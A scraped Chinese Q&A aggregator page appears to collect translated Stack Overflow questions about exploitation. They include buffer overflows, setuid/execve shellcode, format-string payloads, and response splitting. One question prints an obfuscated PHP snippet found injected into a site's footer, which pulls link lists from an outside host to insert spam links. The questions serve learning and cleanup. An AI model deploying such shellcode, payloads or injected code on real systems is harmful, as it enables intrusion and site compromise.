我正在尝试为我的一个comp sci课程找出这个问题,我已经利用了所有资源但仍有问题,如果有人能提供一些见解,我会非常感激.
我有这个"目标"我需要执行缓冲区溢出漏洞的execve("/ bin/sh").在buf [128]的溢出中,当执行unsafe命令strcpy时,返回缓冲区的指针出现在系统期望找到返回地址的位置.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, …Run Code Online (Sandbox Code Playgroud) 这是一个利用缓冲区溢出漏洞的shellcode.它使用设置setuid(0)和生成shell execve().以下是我解释它的方式:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
Run Code Online (Sandbox Code Playgroud)
谁能清楚地解释整个步骤?
我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.
我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:
<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m";
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)
当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.
您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …Run Code Online (Sandbox Code Playgroud) <?php
setcookie('test', "test\r\n<script>alert(1)</script>");
echo 1;
Run Code Online (Sandbox Code Playgroud)
但事实证明PHP自动执行编码:
Set-Cookie: test=test%0D%0A%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Run Code Online (Sandbox Code Playgroud)
这是否意味着在PHP中重现HTTP响应拆分是不可能的?
我已经阅读了有关Stack Buffer Overflows和Heap溢出的5篇论文/文章和2个视频.我编写了一个容易被溢出和利用的程序,在端口7777上运行了一个易受攻击,溢出和利用的服务器.但我不明白的是如何在Windows(或其他操作系统)或软件中查找漏洞.我正在使用gcc和gdb进行调试,以找到编写漏洞所需的一切.如何在其他程序/软件上找到Stack Buffer Overflow漏洞,如何调试易受攻击的程序或者我可以使用gdb?
我对ASLR非常熟悉,但今天我听到了一个关于在Windows中实现ASLR的新的有趣事实.
为了优化性能,如果进程A和B加载相同的dll,Windows只会将其加载一次到物理内存,并且两个进程将通过共享页面共享同一个实例.
这是旧闻.但有趣的是,进程A和B都将在同一个虚拟地址中加载共享库(为什么??).
在我看来,任何本地攻击(例如权限提升)都可以通过以下方式轻松绕过ASLR:
1. Create a new dummy process
2. Check the address of dlls of interest (kernel32, user32 ..)
3. Attack the privileged process and bypass ASLR with the information from step 2.
Run Code Online (Sandbox Code Playgroud)
我使用Olly做了一些简单的测试,发现共享库确实加载在同一个虚拟地址中.
如果确实如此,那么ASLR对于本地开发是否无用?
我正在阅读"黑客 - 剥削艺术"一书.
这是我用于利用格式字符串的代码的简化版本.
/* fmt_vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[]){
char text [1024];
if (argc < 2){
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0);
}
strcpy (text, argv[1]);
printf ("The wrong way to print user-controlled input:\n");
printf (text);
printf ("\n");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我运行这个命令:
./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Run Code Online (Sandbox Code Playgroud)
我有:
The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
Run Code Online (Sandbox Code Playgroud)
所以,我看到第8个格式参数是从格式字符串的开头读取的.
然后,当我运行命令时:
./getenv PATH ./fmt_vuln
Run Code Online (Sandbox Code Playgroud)
我得到了地址:
0x7ffe2a673d84
Run Code Online (Sandbox Code Playgroud)
所以我试着运行:(为了打印PATH变量)
./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
Run Code Online (Sandbox Code Playgroud)
我有:
The wrong …Run Code Online (Sandbox Code Playgroud) 我正在研究一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的C应用程序来测试:(目标和攻击者是相同的Kali 2机器并运行"echo"0">/proc/sys/kernel/randomize_va_space")
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Run Code Online (Sandbox Code Playgroud)
现在,通过在GDB中进行一些测试,我可以通过在缓冲区中放入260个字节来导致seg错误:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
Run Code Online (Sandbox Code Playgroud)
寄存器显示:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 …Run Code Online (Sandbox Code Playgroud) 我最近阅读了这篇文章http://codearcana.com/posts/2012/05/06/securing-and-exploiting-go-binaries.html ,它在Go中声称堆是可执行的.这为我提出了一些关于运行时和操作系统之间交互的不同问题.
在C中,当程序需要堆上的空间时,它会调用malloc,而malloc又调用sbrk来为它提供内存.据我所知,在C中,堆只是读写.
为什么Go中的堆可执行?应用程序有什么不同 - Go中的操作系统交互然后在C中?
谢谢
我们有一个REST API,用于查询MongoDB中的记录。很简单,遵循以下步骤:
GET /api/items?q=foo
Run Code Online (Sandbox Code Playgroud)
在开发过程中,允许使用正则表达式作为查询很方便q。我们只是将查询参数传递给MongoDB $regex运算符,而不进行任何转义:
db.getCollection('items').find({ name: { $regex: req.query.q, $options: 'i' } });
Run Code Online (Sandbox Code Playgroud)
因此,我们有一种非常灵活方便的查询数据的方式。现在,事情变得“严重”,即接近生产,我在问自己有关安全性的问题。有人可以通过昂贵的回溯发送“ DoS”查询吗?
我可能没有足够的破坏力来考虑这样的查询,因此我已经在Internet上搜索并发现了这一非常有趣的读物,其中提到了几种攻击:爆炸性量词陷阱。
舍弃这一事实,即上一页中提到的查询的行为远没有达到预期的“灾难性”(无论是在MongoDB查询中,还是在在线工具(例如regex101.com中)),我仍然想知道:
exploit ×10
c ×3
shellcode ×3
assembly ×2
php ×2
security ×2
aslr ×1
backtracking ×1
buffer ×1
formatting ×1
go ×1
heap ×1
heap-memory ×1
http-headers ×1
memory ×1
mongodb ×1
path ×1
regex ×1
windows ×1
x86 ×1